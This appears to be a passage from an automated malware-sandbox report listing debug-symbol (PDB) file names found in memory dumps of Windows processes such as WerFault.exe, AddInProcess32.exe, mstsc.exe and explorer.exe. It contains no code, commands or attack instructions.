Source:	Binary string: HolographicExtensions.pdb source: WerFault.exe, 0000000A.00000003.747011641.000001EDC8049000.00000004.00000001.sdmp
Source:	Binary string: AddInProcess32.pdbpw source: AddInProcess32.exe, 00000001.00000000.675621631.0000000000712000.00000002.00020000.sdmp, mstsc.exe, 00000006.00000002.1034631298.0000000004C7F000.00000004.00000001.sdmp
Source:	Binary string: LanguageOverlayUtil.pdb}S source: WerFault.exe, 0000000A.00000003.747011641.000001EDC8049000.00000004.00000001.sdmp
Source:	Binary string: SLC.pdb source: WerFault.exe, 0000000A.00000003.747192656.000001EDC8044000.00000004.00000001.sdmp
Source:	Binary string: cscobj.pdb source: WerFault.exe, 0000000A.00000003.747163959.000001EDC805F000.00000004.00000001.sdmp
Source:	Binary string: \??\C:\Windows.pdblR5 source: WerFault.exe, 0000000A.00000003.746829519.000001EDC4ED0000.00000004.00000001.sdmp
Source:	Binary string: SettingMonitor.pdb source: WerFault.exe, 0000000A.00000003.747163959.000001EDC805F000.00000004.00000001.sdmp
Source:	Binary string: cryptsp.pdb source: WerFault.exe, 0000000A.00000003.747282578.000001EDC50F8000.00000004.00000040.sdmp
Source:	Binary string: StructuredQuery.pdbYS` source: WerFault.exe, 0000000A.00000003.747011641.000001EDC8049000.00000004.00000001.sdmp
Source:	Binary string: werconcpl.pdb source: WerFault.exe, 0000000A.00000003.747163959.000001EDC805F000.00000004.00000001.sdmp
Source:	Binary string: advapi32.pdb source: WerFault.exe, 0000000A.00000003.747192656.000001EDC8044000.00000004.00000001.sdmp
Source:	Binary string: Windows.Internal.Signals.pdbiS0 source: WerFault.exe, 0000000A.00000003.747011641.000001EDC8049000.00000004.00000001.sdmp
Source:	Binary string: Windows.CloudStore.Schema.Shell.pdb source: WerFault.exe, 0000000A.00000003.747586781.000001EDC805E000.00000004.00000001.sdmp
Source:	Binary string: d3d10warp.pdb source: WerFault.exe, 0000000A.00000003.747011641.000001EDC8049000.00000004.00000001.sdmp
Source:	Binary string: msi.pdb source: WerFault.exe, 0000000A.00000003.747011641.000001EDC8049000.00000004.00000001.sdmp
Source:	Binary string: Windows.ApplicationModel.pdb source: WerFault.exe, 0000000A.00000003.747505561.000001EDC50FE000.00000004.00000001.sdmp
Source:	Binary string: twinui.pcshell.pdb source: WerFault.exe, 0000000A.00000003.747011641.000001EDC8049000.00000004.00000001.sdmp
Source:	Binary string: PeopleBand.pdb source: WerFault.exe, 0000000A.00000003.747011641.000001EDC8049000.00000004.00000001.sdmp
Source:	Binary string: urlmon.pdb source: WerFault.exe, 0000000A.00000003.747192656.000001EDC8044000.00000004.00000001.sdmp
Source:	Binary string: AboveLockAppHost.pdb source: WerFault.exe, 0000000A.00000003.747011641.000001EDC8049000.00000004.00000001.sdmp
Source:	Binary string: mpr.pdb source: WerFault.exe, 0000000A.00000003.747163959.000001EDC805F000.00000004.00000001.sdmp
Source:	Binary string: ExecModelProxy.pdb source: WerFault.exe, 0000000A.00000003.747011641.000001EDC8049000.00000004.00000001.sdmp
Source:	Binary string: grooveex.pdb source: WerFault.exe, 0000000A.00000003.747505561.000001EDC50FE000.00000004.00000001.sdmp
Source:	Binary string: imapi2.pdb source: WerFault.exe, 0000000A.00000003.747163959.000001EDC805F000.00000004.00000001.sdmp
Source:	Binary string: windows.ui.xaml.pdb6u source: WerFault.exe, 0000000A.00000003.747163959.000001EDC805F000.00000004.00000001.sdmp
Source:	Binary string: Windows.StateRepositoryBroker.pdbf source: WerFault.exe, 0000000A.00000003.747163959.000001EDC805F000.00000004.00000001.sdmp
Source:	Binary string: srchadmin.pdb source: WerFault.exe, 0000000A.00000003.747163959.000001EDC805F000.00000004.00000001.sdmp
Source:	Binary string: WindowsCodecs.pdb)Sp source: WerFault.exe, 0000000A.00000003.747011641.000001EDC8049000.00000004.00000001.sdmp
Source:	Binary string: ApplicationFrame.pdb source: WerFault.exe, 0000000A.00000003.747011641.000001EDC8049000.00000004.00000001.sdmp
Source:	Binary string: shlwapi.pdb\| source: WerFault.exe, 0000000A.00000003.747282578.000001EDC50F8000.00000004.00000040.sdmp
Source:	Binary string: wkscli.pdb source: WerFault.exe, 0000000A.00000003.747163959.000001EDC805F000.00000004.00000001.sdmp
Source:	Binary string: dwmapi.pdb source: WerFault.exe, 0000000A.00000003.747282578.000001EDC50F8000.00000004.00000040.sdmp
Source:	Binary string: mstsc.pdb source: AddInProcess32.exe, 00000001.00000002.724998329.0000000002D60000.00000040.00000001.sdmp
Source:	Binary string: WpnClient.pdb source: WerFault.exe, 0000000A.00000003.747011641.000001EDC8049000.00000004.00000001.sdmp
Source:	Binary string: NotificationControllerPS.pdbyS source: WerFault.exe, 0000000A.00000003.747011641.000001EDC8049000.00000004.00000001.sdmp
Source:	Binary string: shdocvw.pdb source: WerFault.exe, 0000000A.00000003.747011641.000001EDC8049000.00000004.00000001.sdmp
Source:	Binary string: WINMMBASE.pdb source: WerFault.exe, 0000000A.00000003.747282578.000001EDC50F8000.00000004.00000040.sdmp
Source:	Binary string: twinapi.pdbg source: WerFault.exe, 0000000A.00000003.747282578.000001EDC50F8000.00000004.00000040.sdmp
Source:	Binary string: TileControl.pdb source: WerFault.exe, 0000000A.00000003.747163959.000001EDC805F000.00000004.00000001.sdmp
Source:	Binary string: ws2_32.pdb source: WerFault.exe, 0000000A.00000003.747011641.000001EDC8049000.00000004.00000001.sdmp
Source:	Binary string: OneCoreCommonProxyStub.pdb source: WerFault.exe, 0000000A.00000003.747011641.000001EDC8049000.00000004.00000001.sdmp
Source:	Binary string: PlayToDevice.pdb source: WerFault.exe, 0000000A.00000003.747163959.000001EDC805F000.00000004.00000001.sdmp
Source:	Binary string: TileDataRepository.pdb source: WerFault.exe, 0000000A.00000003.747011641.000001EDC8049000.00000004.00000001.sdmp
Source:	Binary string: wscui.pdbUGP source: explorer.exe, 00000002.00000000.700089831.0000000005A00000.00000002.00000001.sdmp, explorer.exe, 00000010.00000002.1048482581.00000000070D0000.00000002.00000001.sdmp
Source:	Binary string: msvcp110_win.pdb source: WerFault.exe, 0000000A.00000003.747505561.000001EDC50FE000.00000004.00000001.sdmp
Source:	Binary string: AboveLockAppHost.pdb1SX source: WerFault.exe, 0000000A.00000003.747011641.000001EDC8049000.00000004.00000001.sdmp
Source:	Binary string: nsi.pdb source: WerFault.exe, 0000000A.00000003.747163959.000001EDC805F000.00000004.00000001.sdmp
Source:	Binary string: SndVolSSO.pdb source: WerFault.exe, 0000000A.00000003.747192656.000001EDC8044000.00000004.00000001.sdmp
Source:	Binary string: winmm.pdb source: WerFault.exe, 0000000A.00000003.747282578.000001EDC50F8000.00000004.00000040.sdmp
Source:	Binary string: TaskFlowUI.pdb source: WerFault.exe, 0000000A.00000003.747163959.000001EDC805F000.00000004.00000001.sdmp
Source:	Binary string: powrprof.pdb source: WerFault.exe, 0000000A.00000003.747192656.000001EDC8044000.00000004.00000001.sdmp
Source:	Binary string: 5.pdb2R source: WerFault.exe, 0000000A.00000002.761878802.000001EDC4EA8000.00000004.00000020.sdmp
Source:	Binary string: ole32.pdb source: WerFault.exe, 0000000A.00000003.747192656.000001EDC8044000.00000004.00000001.sdmp
Source:	Binary string: Windows.UI.Core.TextInput.pdb source: WerFault.exe, 0000000A.00000003.747011641.000001EDC8049000.00000004.00000001.sdmp
Source:	Binary string: provsvc.pdb source: WerFault.exe, 0000000A.00000003.747163959.000001EDC805F000.00000004.00000001.sdmp
Source:	Binary string: iertutil.pdb source: WerFault.exe, 0000000A.00000003.747192656.000001EDC8044000.00000004.00000001.sdmp
Source:	Binary string: Windows.UI.pdb source: WerFault.exe, 0000000A.00000003.747011641.000001EDC8049000.00000004.00000001.sdmp
Source:	Binary string: msasn1.pdb source: WerFault.exe, 0000000A.00000003.747192656.000001EDC8044000.00000004.00000001.sdmp
Source:	Binary string: AppXDeploymentClient.pdb source: WerFault.exe, 0000000A.00000003.747505561.000001EDC50FE000.00000004.00000001.sdmp
Source:	Binary string: dusmapi.pdb%jI source: WerFault.exe, 0000000A.00000003.747163959.000001EDC805F000.00000004.00000001.sdmp
Source:	Binary string: cfgmgr32.pdb source: WerFault.exe, 0000000A.00000003.747282578.000001EDC50F8000.00000004.00000040.sdmp
Source:	Binary string: \??\C:\Windows.pdb source: WerFault.exe, 0000000A.00000003.746829519.000001EDC4ED0000.00000004.00000001.sdmp
Source:	Binary string: combase.pdb source: WerFault.exe, 0000000A.00000003.747192656.000001EDC8044000.00000004.00000001.sdmp
Source:	Binary string: Windows.Storage.pdb source: WerFault.exe, 0000000A.00000003.747192656.000001EDC8044000.00000004.00000001.sdmp
Source:	Binary string: Windows.UI.Shell.pdb source: WerFault.exe, 0000000A.00000003.747011641.000001EDC8049000.00000004.00000001.sdmp
Source:	Binary string: InputSwitch.pdb source: WerFault.exe, 0000000A.00000003.747011641.000001EDC8049000.00000004.00000001.sdmp
Source:	Binary string: cflapi.pdb source: WerFault.exe, 0000000A.00000003.747011641.000001EDC8049000.00000004.00000001.sdmp
Source:	Binary string: DataExchange.pdb source: WerFault.exe, 0000000A.00000003.747011641.000001EDC8049000.00000004.00000001.sdmp
Source:	Binary string: provsvc.pdbuj source: WerFault.exe, 0000000A.00000003.747163959.000001EDC805F000.00000004.00000001.sdmp
Source:	Binary string: Windows.Data.Activities.pdbaS source: WerFault.exe, 0000000A.00000003.747011641.000001EDC8049000.00000004.00000001.sdmp
Source:	Binary string: apphelp.pdb source: WerFault.exe, 0000000A.00000003.747192656.000001EDC8044000.00000004.00000001.sdmp
Source:	Binary string: Bcp47mrm.pdb source: WerFault.exe, 0000000A.00000003.747011641.000001EDC8049000.00000004.00000001.sdmp
Source:	Binary string: usermgrcli.pdb source: WerFault.exe, 0000000A.00000003.747192656.000001EDC8044000.00000004.00000001.sdmp
Source:	Binary string: kernelbase.pdb source: WerFault.exe, 0000000A.00000003.747630209.000001EDC50E0000.00000004.00000040.sdmp
Source:	Binary string: SettingMonitor.pdb:uT source: WerFault.exe, 0000000A.00000003.747163959.000001EDC805F000.00000004.00000001.sdmp
Source:	Binary string: Windows.UI.Core.TextInput.pdbIS source: WerFault.exe, 0000000A.00000003.747011641.000001EDC8049000.00000004.00000001.sdmp
Source:	Binary string: wininet.pdb source: WerFault.exe, 0000000A.00000003.747282578.000001EDC50F8000.00000004.00000040.sdmp
Source:	Binary string: Windows.UI.Immersive.pdb5SD source: WerFault.exe, 0000000A.00000003.747011641.000001EDC8049000.00000004.00000001.sdmp
Source:	Binary string: prnfldr.pdb source: WerFault.exe, 0000000A.00000003.747011641.000001EDC8049000.00000004.00000001.sdmp
Source:	Binary string: twinapi.appcore.pdb source: WerFault.exe, 0000000A.00000003.747505561.000001EDC50FE000.00000004.00000001.sdmp
Source:	Binary string: nlaapi.pdb0t/ source: WerFault.exe, 0000000A.00000003.747163959.000001EDC805F000.00000004.00000001.sdmp
Source:	Binary string: Windows.Networking.Connectivity.pdb source: WerFault.exe, 0000000A.00000003.747163959.000001EDC805F000.00000004.00000001.sdmp
Source:	Binary string: nsi.pdbRjz source: WerFault.exe, 0000000A.00000003.747163959.000001EDC805F000.00000004.00000001.sdmp
Source:	Binary string: ActXPrxy.pdb source: WerFault.exe, 0000000A.00000003.747011641.000001EDC8049000.00000004.00000001.sdmp
Source:	Binary string: Windows.CloudStore.pdb source: WerFault.exe, 0000000A.00000003.747011641.000001EDC8049000.00000004.00000001.sdmp
Source:	Binary string: ColorAdapterClient.pdb source: WerFault.exe, 0000000A.00000003.747011641.000001EDC8049000.00000004.00000001.sdmp
Source:	Binary string: mlang.pdb source: WerFault.exe, 0000000A.00000003.747163959.000001EDC805F000.00000004.00000001.sdmp
Source:	Binary string: pcacli.pdb source: WerFault.exe, 0000000A.00000003.747163959.000001EDC805F000.00000004.00000001.sdmp
Source:	Binary string: combase.pdb8 source: WerFault.exe, 0000000A.00000003.747192656.000001EDC8044000.00000004.00000001.sdmp
Source:	Binary string: NotificationControllerPS.pdb source: WerFault.exe, 0000000A.00000003.747011641.000001EDC8049000.00000004.00000001.sdmp
Source:	Binary string: sppc.pdb source: WerFault.exe, 0000000A.00000003.747192656.000001EDC8044000.00000004.00000001.sdmp
Source:	Binary string: oleacc.pdb source: WerFault.exe, 0000000A.00000003.747192656.000001EDC8044000.00000004.00000001.sdmp
Source:	Binary string: wevtapi.pdb source: WerFault.exe, 0000000A.00000003.747163959.000001EDC805F000.00000004.00000001.sdmp
Source:	Binary string: fltLib.pdb source: WerFault.exe, 0000000A.00000003.747282578.000001EDC50F8000.00000004.00000040.sdmp
Source:	Binary string: framedynos.pdb source: WerFault.exe, 0000000A.00000003.747163959.000001EDC805F000.00000004.00000001.sdmp
Source:	Binary string: samcli.pdb source: WerFault.exe, 0000000A.00000003.747192656.000001EDC8044000.00000004.00000001.sdmp
Source:	Binary string: shell32.pdb source: WerFault.exe, 0000000A.00000003.747282578.000001EDC50F8000.00000004.00000040.sdmp
Source:	Binary string: sspicli.pdb source: WerFault.exe, 0000000A.00000003.747282578.000001EDC50F8000.00000004.00000040.sdmp
Source:	Binary string: UiaManager.pdb source: WerFault.exe, 0000000A.00000003.747163959.000001EDC805F000.00000004.00000001.sdmp
Source:	Binary string: dsreg.pdb source: WerFault.exe, 0000000A.00000003.747192656.000001EDC8044000.00000004.00000001.sdmp
Source:	Binary string: Windows.StateRepository.pdb source: WerFault.exe, 0000000A.00000003.747011641.000001EDC8049000.00000004.00000001.sdmp
Source:	Binary string: ActionCenter.pdb source: WerFault.exe, 0000000A.00000003.747011641.000001EDC8049000.00000004.00000001.sdmp
Source:	Binary string: msvcp_win.pdb source: WerFault.exe, 0000000A.00000003.747192656.000001EDC8044000.00000004.00000001.sdmp
Source:	Binary string: SettingSyncCore.pdb source: WerFault.exe, 0000000A.00000003.747505561.000001EDC50FE000.00000004.00000001.sdmp
Source:	Binary string: msoshext.pdb0 source: WerFault.exe, 0000000A.00000003.747320665.000001EDC8062000.00000004.00000001.sdmp
Source:	Binary string: dusmapi.pdb source: WerFault.exe, 0000000A.00000003.747163959.000001EDC805F000.00000004.00000001.sdmp
Source:	Binary string: cscapi.pdb source: WerFault.exe, 0000000A.00000003.747011641.000001EDC8049000.00000004.00000001.sdmp
Source:	Binary string: Windows.StateRepositoryPS.pdb source: WerFault.exe, 0000000A.00000003.747505561.000001EDC50FE000.00000004.00000001.sdmp
Source:	Binary string: ntasn1.pdb source: WerFault.exe, 0000000A.00000003.747011641.000001EDC8049000.00000004.00000001.sdmp
Source:	Binary string: d3d11.pdb source: WerFault.exe, 0000000A.00000003.747192656.000001EDC8044000.00000004.00000001.sdmp
Source:	Binary string: ShellCommonCommonProxyStub.pdbuS source: WerFault.exe, 0000000A.00000003.747011641.000001EDC8049000.00000004.00000001.sdmp
Source:	Binary string: vcruntime140.amd64.pdb source: WerFault.exe, 0000000A.00000003.747505561.000001EDC50FE000.00000004.00000001.sdmp
Source:	Binary string: gdi32.pdb source: WerFault.exe, 0000000A.00000003.747282578.000001EDC50F8000.00000004.00000040.sdmp
Source:	Binary string: MobileNetworking.pdb source: WerFault.exe, 0000000A.00000003.747163959.000001EDC805F000.00000004.00000001.sdmp
Source:	Binary string: WindowsCodecs.pdb source: WerFault.exe, 0000000A.00000003.747011641.000001EDC8049000.00000004.00000001.sdmp
Source:	Binary string: avrt.pdb source: WerFault.exe, 0000000A.00000003.747163959.000001EDC805F000.00000004.00000001.sdmp
Source:	Binary string: winmm.pdb{ source: WerFault.exe, 0000000A.00000003.747282578.000001EDC50F8000.00000004.00000040.sdmp
Source:	Binary string: ShellCommonCommonProxyStub.pdb source: WerFault.exe, 0000000A.00000003.747011641.000001EDC8049000.00000004.00000001.sdmp
Source:	Binary string: smartscreenps.pdb source: WerFault.exe, 0000000A.00000003.747505561.000001EDC50FE000.00000004.00000001.sdmp
Source:	Binary string: sechost.pdb source: WerFault.exe, 0000000A.00000003.747192656.000001EDC8044000.00000004.00000001.sdmp
Source:	Binary string: wmiclnt.pdb source: WerFault.exe, 0000000A.00000003.747011641.000001EDC8049000.00000004.00000001.sdmp
Source:	Binary string: twinui.appcore.pdb source: WerFault.exe, 0000000A.00000003.747011641.000001EDC8049000.00000004.00000001.sdmp
Source:	Binary string: propsys.pdb source: WerFault.exe, 0000000A.00000003.747282578.000001EDC50F8000.00000004.00000040.sdmp
Source:	Binary string: WindowsInternal.ComposableShell.Experiences.Switcher.pdb source: WerFault.exe, 0000000A.00000003.747163959.000001EDC805F000.00000004.00000001.sdmp
Source:	Binary string: samlib.pdb source: WerFault.exe, 0000000A.00000003.747192656.000001EDC8044000.00000004.00000001.sdmp
Source:	Binary string: atlthunk.pdb source: WerFault.exe, 0000000A.00000003.747163959.000001EDC805F000.00000004.00000001.sdmp
Source:	Binary string: bthprops.pdb source: WerFault.exe, 0000000A.00000003.747163959.000001EDC805F000.00000004.00000001.sdmp
Source:	Binary string: msctf.pdb source: WerFault.exe, 0000000A.00000003.747192656.000001EDC8044000.00000004.00000001.sdmp
Source:	Binary string: TextInputFramework.pdb source: WerFault.exe, 0000000A.00000003.747505561.000001EDC50FE000.00000004.00000001.sdmp
Source:	Binary string: linkinfo.pdb source: WerFault.exe, 0000000A.00000003.747011641.000001EDC8049000.00000004.00000001.sdmp
Source:	Binary string: wscinterop.pdb source: WerFault.exe, 0000000A.00000003.747163959.000001EDC805F000.00000004.00000001.sdmp
Source:	Binary string: win32u.pdb0 source: WerFault.exe, 0000000A.00000003.739016455.000001EDC6E52000.00000004.00000001.sdmp
Source:	Binary string: mscms.pdb source: WerFault.exe, 0000000A.00000003.747011641.000001EDC8049000.00000004.00000001.sdmp
Source:	Binary string: wscui.pdb source: explorer.exe, 00000002.00000000.700089831.0000000005A00000.00000002.00000001.sdmp, WerFault.exe, 0000000A.00000003.747163959.000001EDC805F000.00000004.00000001.sdmp, explorer.exe, 00000010.00000002.1048482581.00000000070D0000.00000002.00000001.sdmp
Source:	Binary string: user32.pdb source: WerFault.exe, 0000000A.00000003.738993307.000001EDC6E48000.00000004.00000001.sdmp
Source:	Binary string: bcrypt.pdbn source: WerFault.exe, 0000000A.00000003.747282578.000001EDC50F8000.00000004.00000040.sdmp
Source:	Binary string: cldapi.pdb source: WerFault.exe, 0000000A.00000003.747192656.000001EDC8044000.00000004.00000001.sdmp
Source:	Binary string: bcryptprimitives.pdb source: WerFault.exe, 0000000A.00000003.747192656.000001EDC8044000.00000004.00000001.sdmp
Source:	Binary string: Windows.UI.Shell.pdbqS source: WerFault.exe, 0000000A.00000003.747011641.000001EDC8049000.00000004.00000001.sdmp
Source:	Binary string: dxgi.pdb source: WerFault.exe, 0000000A.00000003.747192656.000001EDC8044000.00000004.00000001.sdmp
Source:	Binary string: IconCodecService.pdb source: WerFault.exe, 0000000A.00000003.747163959.000001EDC805F000.00000004.00000001.sdmp
Source:	Binary string: dlnashext.pdbIj source: WerFault.exe, 0000000A.00000003.747163959.000001EDC805F000.00000004.00000001.sdmp
Source:	Binary string: WLIDProv.pdb source: WerFault.exe, 0000000A.00000003.747192656.000001EDC8044000.00000004.00000001.sdmp
Source:	Binary string: UxTheme.pdb source: WerFault.exe, 0000000A.00000003.731495333.000001EDC6EB3000.00000004.00000001.sdmp
Source:	Binary string: rsaenh.pdb source: WerFault.exe, 0000000A.00000003.747163959.000001EDC805F000.00000004.00000001.sdmp
Source:	Binary string: SettingSyncPolicy.pdbQSx source: WerFault.exe, 0000000A.00000003.747011641.000001EDC8049000.00000004.00000001.sdmp
Source:	Binary string: winsta.pdb source: WerFault.exe, 0000000A.00000003.747192656.000001EDC8044000.00000004.00000001.sdmp
Source:	Binary string: sfc_os.pdb source: WerFault.exe, 0000000A.00000003.747163959.000001EDC805F000.00000004.00000001.sdmp
Source:	Binary string: Windows.Security.Authentication.Web.Core.pdb source: WerFault.exe, 0000000A.00000003.747586781.000001EDC805E000.00000004.00000001.sdmp
Source:	Binary string: bcrypt.pdb source: WerFault.exe, 0000000A.00000003.747282578.000001EDC50F8000.00000004.00000040.sdmp
Source:	Binary string: TaskFlowDataEngine.pdb source: WerFault.exe, 0000000A.00000003.747011641.000001EDC8049000.00000004.00000001.sdmp
Source:	Binary string: WscApi.pdb source: WerFault.exe, 0000000A.00000003.747163959.000001EDC805F000.00000004.00000001.sdmp
Source:	Binary string: Windows.StateRepositoryBroker.pdb source: WerFault.exe, 0000000A.00000003.747163959.000001EDC805F000.00000004.00000001.sdmp
Source:	Binary string: Windows.StateRepository.pdb%St source: WerFault.exe, 0000000A.00000003.747011641.000001EDC8049000.00000004.00000001.sdmp
Source:	Binary string: ucrtbase.pdb8 source: WerFault.exe, 0000000A.00000003.747192656.000001EDC8044000.00000004.00000001.sdmp
Source:	Binary string: davclnt.pdb source: WerFault.exe, 0000000A.00000003.747163959.000001EDC805F000.00000004.00000001.sdmp
Source:	Binary string: stobject.pdb source: WerFault.exe, 0000000A.00000003.747011641.000001EDC8049000.00000004.00000001.sdmp
Source:	Binary string: CoreMessaging.pdb source: WerFault.exe, 0000000A.00000003.747505561.000001EDC50FE000.00000004.00000001.sdmp
Source:	Binary string: AppResolver.pdb source: WerFault.exe, 0000000A.00000003.747192656.000001EDC8044000.00000004.00000001.sdmp
Source:	Binary string: dcomp.pdb source: WerFault.exe, 0000000A.00000003.747192656.000001EDC8044000.00000004.00000001.sdmp
Source:	Binary string: NPSM.pdb source: WerFault.exe, 0000000A.00000003.747011641.000001EDC8049000.00000004.00000001.sdmp
Source:	Binary string: audioses.pdb source: WerFault.exe, 0000000A.00000003.747163959.000001EDC805F000.00000004.00000001.sdmp
Source:	Binary string: twinui.appcore.pdbUSd source: WerFault.exe, 0000000A.00000003.747011641.000001EDC8049000.00000004.00000001.sdmp
Source:	Binary string: CLBCatQ.pdb source: WerFault.exe, 0000000A.00000003.747192656.000001EDC8044000.00000004.00000001.sdmp
Source:	Binary string: ntmarta.pdb source: WerFault.exe, 0000000A.00000003.747192656.000001EDC8044000.00000004.00000001.sdmp
Source:	Binary string: UxTheme.pdb0 source: WerFault.exe, 0000000A.00000003.731495333.000001EDC6EB3000.00000004.00000001.sdmp
Source:	Binary string: sapi_onecore.pdb source: WerFault.exe, 0000000A.00000003.747011641.000001EDC8049000.00000004.00000001.sdmp
Source:	Binary string: ninput.pdb source: WerFault.exe, 0000000A.00000003.747192656.000001EDC8044000.00000004.00000001.sdmp
Source:	Binary string: StartTileData.pdb source: WerFault.exe, 0000000A.00000003.747505561.000001EDC50FE000.00000004.00000001.sdmp
Source:	Binary string: PortableDeviceTypes.pdb source: WerFault.exe, 0000000A.00000003.747163959.000001EDC805F000.00000004.00000001.sdmp
Source:	Binary string: shlwapi.pdb source: WerFault.exe, 0000000A.00000003.747282578.000001EDC50F8000.00000004.00000040.sdmp
Source:	Binary string: LanguageOverlayUtil.pdb source: WerFault.exe, 0000000A.00000003.747011641.000001EDC8049000.00000004.00000001.sdmp
Source:	Binary string: kernel32.pdb source: WerFault.exe, 0000000A.00000003.740772791.000001EDC777B000.00000004.00000001.sdmp
Source:	Binary string: netprofm.pdb source: WerFault.exe, 0000000A.00000003.747163959.000001EDC805F000.00000004.00000001.sdmp
Source:	Binary string: sxs.pdb source: WerFault.exe, 0000000A.00000003.747011641.000001EDC8049000.00000004.00000001.sdmp
Source:	Binary string: pnidui.pdb source: WerFault.exe, 0000000A.00000003.747163959.000001EDC805F000.00000004.00000001.sdmp
Source:	Binary string: Windows.Internal.Shell.Broker.pdb source: WerFault.exe, 0000000A.00000003.747163959.000001EDC805F000.00000004.00000001.sdmp
Source:	Binary string: win32u.pdb source: WerFault.exe, 0000000A.00000003.739016455.000001EDC6E52000.00000004.00000001.sdmp
Source:	Binary string: ResourcePolicyClient.pdbMS source: WerFault.exe, 0000000A.00000003.747011641.000001EDC8049000.00000004.00000001.sdmp
Source:	Binary string: MrmCoreR.pdb source: WerFault.exe, 0000000A.00000003.747011641.000001EDC8049000.00000004.00000001.sdmp
Source:	Binary string: thumbcache.pdb source: WerFault.exe, 0000000A.00000003.747011641.000001EDC8049000.00000004.00000001.sdmp
Source:	Binary string: PhotoMetadataHandler.pdb]Sl source: WerFault.exe, 0000000A.00000003.747011641.000001EDC8049000.00000004.00000001.sdmp
Source:	Binary string: srvcli.pdb source: WerFault.exe, 0000000A.00000003.747011641.000001EDC8049000.00000004.00000001.sdmp
Source:	Binary string: ntdll.pdb0 source: WerFault.exe, 0000000A.00000003.740856862.000001EDC6DF0000.00000004.00000001.sdmp
Source:	Binary string: ExplorerFrame.pdb source: WerFault.exe, 0000000A.00000003.747011641.000001EDC8049000.00000004.00000001.sdmp
Source:	Binary string: imm32.pdb source: WerFault.exe, 0000000A.00000003.747192656.000001EDC8044000.00000004.00000001.sdmp
Source:	Binary string: twinui.pcshell.pdb!SH source: WerFault.exe, 0000000A.00000003.747011641.000001EDC8049000.00000004.00000001.sdmp
Source:	Binary string: cdp.pdb source: WerFault.exe, 0000000A.00000003.747192656.000001EDC8044000.00000004.00000001.sdmp
Source:	Binary string: profapi.pdba source: WerFault.exe, 0000000A.00000003.747282578.000001EDC50F8000.00000004.00000040.sdmp
Source:	Binary string: InputHost.pdb source: WerFault.exe, 0000000A.00000003.747011641.000001EDC8049000.00000004.00000001.sdmp
Source:	Binary string: ExplorerFrame.pdbmS< source: WerFault.exe, 0000000A.00000003.747011641.000001EDC8049000.00000004.00000001.sdmp
Source:	Binary string: ntshrui.pdb source: WerFault.exe, 0000000A.00000003.747011641.000001EDC8049000.00000004.00000001.sdmp
Source:	Binary string: coml2.pdb source: WerFault.exe, 0000000A.00000003.747192656.000001EDC8044000.00000004.00000001.sdmp
Source:	Binary string: drprov.pdb source: WerFault.exe, 0000000A.00000003.747163959.000001EDC805F000.00000004.00000001.sdmp
Source:	Binary string: IdStore.pdb source: WerFault.exe, 0000000A.00000003.747192656.000001EDC8044000.00000004.00000001.sdmp
Source:	Binary string: wpnapps.pdb source: WerFault.exe, 0000000A.00000003.747163959.000001EDC805F000.00000004.00000001.sdmp
Source:	Binary string: iphlpapi.pdb source: WerFault.exe, 0000000A.00000003.747011641.000001EDC8049000.00000004.00000001.sdmp
Source:	Binary string: PortableDeviceApi.pdb source: WerFault.exe, 0000000A.00000003.747163959.000001EDC805F000.00000004.00000001.sdmp
Source:	Binary string: UserMgrProxy.pdbSP source: WerFault.exe, 0000000A.00000003.747011641.000001EDC8049000.00000004.00000001.sdmp
Source:	Binary string: wntdll.pdbUGP source: AddInProcess32.exe, 00000001.00000002.722744884.0000000001290000.00000040.00000001.sdmp, mstsc.exe, 00000006.00000002.1032811979.0000000004750000.00000040.00000001.sdmp
Source:	Binary string: Windows.Shell.BlueLightReduction.pdb source: WerFault.exe, 0000000A.00000003.747586781.000001EDC805E000.00000004.00000001.sdmp
Source:	Binary string: TaskFlowDataEngine.pdbeS4 source: WerFault.exe, 0000000A.00000003.747011641.000001EDC8049000.00000004.00000001.sdmp
Source:	Binary string: propsys.pdbb source: WerFault.exe, 0000000A.00000003.747282578.000001EDC50F8000.00000004.00000040.sdmp
Source:	Binary string: davhlpr.pdb source: WerFault.exe, 0000000A.00000003.747163959.000001EDC805F000.00000004.00000001.sdmp
Source:	Binary string: dlnashext.pdb source: WerFault.exe, 0000000A.00000003.747163959.000001EDC805F000.00000004.00000001.sdmp
Source:	Binary string: Deviceovs.pdb source: WerFault.exe, 0000000A.00000002.761878802.000001EDC4EA8000.00000004.00000020.sdmp
Source:	Binary string: EhStorShell.pdb source: WerFault.exe, 0000000A.00000003.747011641.000001EDC8049000.00000004.00000001.sdmp
Source:	Binary string: XmlLite.pdb source: WerFault.exe, 0000000A.00000003.747163959.000001EDC805F000.00000004.00000001.sdmp
Source:	Binary string: AddInProcess32.pdb source: AddInProcess32.exe, mstsc.exe, 00000006.00000002.1034631298.0000000004C7F000.00000004.00000001.sdmp
Source:	Binary string: WorkFoldersShell.pdb source: WerFault.exe, 0000000A.00000003.747163959.000001EDC805F000.00000004.00000001.sdmp
Source:	Binary string: batmeter.pdb source: WerFault.exe, 0000000A.00000003.747011641.000001EDC8049000.00000004.00000001.sdmp
Source:	Binary string: cscui.pdb source: WerFault.exe, 0000000A.00000003.747011641.000001EDC8049000.00000004.00000001.sdmp
Source:	Binary string: DWrite.pdb source: WerFault.exe, 0000000A.00000003.747192656.000001EDC8044000.00000004.00000001.sdmp
Source:	Binary string: ResourcePolicyClient.pdb source: WerFault.exe, 0000000A.00000003.747011641.000001EDC8049000.00000004.00000001.sdmp
Source:	Binary string: MFPLAT.pdb source: WerFault.exe, 0000000A.00000003.747011641.000001EDC8049000.00000004.00000001.sdmp
Source:	Binary string: SyncCenter.pdb source: WerFault.exe, 0000000A.00000003.747163959.000001EDC805F000.00000004.00000001.sdmp
Source:	Binary string: ApplicationFrame.pdb=SL source: WerFault.exe, 0000000A.00000003.747011641.000001EDC8049000.00000004.00000001.sdmp
Source:	Binary string: ncrypt.pdb source: WerFault.exe, 0000000A.00000003.747011641.000001EDC8049000.00000004.00000001.sdmp
Source:	Binary string: secur32.pdb source: WerFault.exe, 0000000A.00000003.747163959.000001EDC805F000.00000004.00000001.sdmp
Source:	Binary string: UxTheme.pdbv source: WerFault.exe, 0000000A.00000003.747282578.000001EDC50F8000.00000004.00000040.sdmp
Source:	Binary string: cryptsp.pdbh source: WerFault.exe, 0000000A.00000003.747282578.000001EDC50F8000.00000004.00000040.sdmp
Source:	Binary string: netutils.pdb source: WerFault.exe, 0000000A.00000003.747011641.000001EDC8049000.00000004.00000001.sdmp
Source:	Binary string: kernel32.pdb0 source: WerFault.exe, 0000000A.00000003.726046312.000001EDC6DF6000.00000004.00000001.sdmp
Source:	Binary string: Bcp47Langs.pdb source: WerFault.exe, 0000000A.00000003.747192656.000001EDC8044000.00000004.00000001.sdmp
